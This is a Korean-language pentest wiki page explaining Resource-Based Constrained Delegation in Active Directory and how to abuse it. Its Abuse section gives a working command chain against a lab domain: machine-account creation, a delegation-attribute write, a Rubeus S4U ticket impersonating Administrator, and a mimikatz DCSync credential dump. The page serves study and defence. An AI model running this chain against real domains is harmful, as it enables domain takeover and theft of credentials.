Resource Based Constrained Delegation
RBCD는 다른 위임 구성과 다르게 리소스 기반에서 이뤄지며 Windows 2012부터 도입되었습니다.
웹 서비스를 이용하는 user-A가 자신이 직접 데이터베이스 서비스에 접근하지 않고도 웹 서비스에서 자동화하여 user-A의 권한으로 이용하는 것이 위임이라는 개념이며, 제약된/제약없는 위임 구성은 위임 주체를 프론트 웹 서비스에서 설정했습니다.
이러한 문제점으로는 정작 자신의 권한을 허용하는 리소스(데이터베이스)는 어떤 객체가 다른 사용자를 대신하여 자신의 리소스에 접근하는지 파악하지 못하기 때문에 위임 구성 권한을 백엔드 서비스에 할당합니다.
공격을 이용하기 위해서는 이미 rbcd 구성이 된 계정을 탈취하거나, 서비스 컴퓨터 계정에 대해서 높은 권한( GenericAll, GenericWrite, AddAllowedToAct, WriteOwner)이 있으면서 장악한 컴퓨터 계정이 있거나 컴퓨터 계정을 생성할 수 있는 권한(MAQ 값이 1 이상인 도메인 사용자 계정 보유)가 있어야 합니다.
요구 권한
위임이 구성된 계정
서비스 컴퓨터 계정에 대한 높은 권한, 컴퓨터 계정 생성 권한
Abuse
# RBCD 구성 객체 열거
Get-ADObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' -Properties msDS-AllowedToActOnBehalfOfOtherIdentity,objectClass | Select-Object Name,objectClass,DistinguishedName
# 필요한 라이브러리 업로드 및 호출
Import-Module Powermad.ps1
Import-Module PowerView.ps1
# 머신 계정 생성 및 SID 확인
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer -Identity rbcd -Properties objectSid
# SID를 아래 명령어에 그대로 삽입
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;; <SID>)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
Get-DomainComputer -Identity "acs-dc01" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
# 객체 속성 조회
Get-DomainComputer -Identity "acs-dc01" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
# RC4 해시 발급 및 티켓 요청
.\Rubeus.exe hash /password:Password123!
.\Rubeus.exe s4u /user:rbcd$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:Administrator /msdsspn:ldap/acs-dc01.acs.secure /nowrap /ptt
# DCSync
mimikatz # lsadump::dcsync /domain:acs.secure /user:Administrator
# 위임 구성 정리
Set-ADComputer ACS-DC01 -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
Root Cause
rbcd 위임 구성은 객체의 Attribute Editor > msDS-AllowedToActOnBehalfOfOtherIdentity
에서 확인할 수 있습니다. 이 속성 값은 이진으로 저장되어 GUI로 편집할 수 없습니다.

상용 도구로 rbcd 구성을 하게 되면 modifyRequest를 통해 대상의 위임 속성을 변경 요청합니다. 변경할 때는 마찬가지로 평문 문자열을 사용하지 않고 이진을 사용합니다.

위임 구성이 완료되면 Constrained Delegation과 동일한 과정을 거쳐 클라이언트를 가장합니다.
ACS-DC01$ 계정의 서비스에 대해 가장 권한을 가진 rbcd$는 가장하려는 클라이언트(Administrator)의 권한으로 자신의 서비스 티켓을 요청합니다.


이제 Administrator 권한으로 발급받은 rbcd$ 서비스 티켓을 acs-dc01$의 서비스 티켓으로 교환합니다.


전체 흐름을 다이어그램으로 나타내면 아래와 같습니다.
References
Last updated
Was this helpful?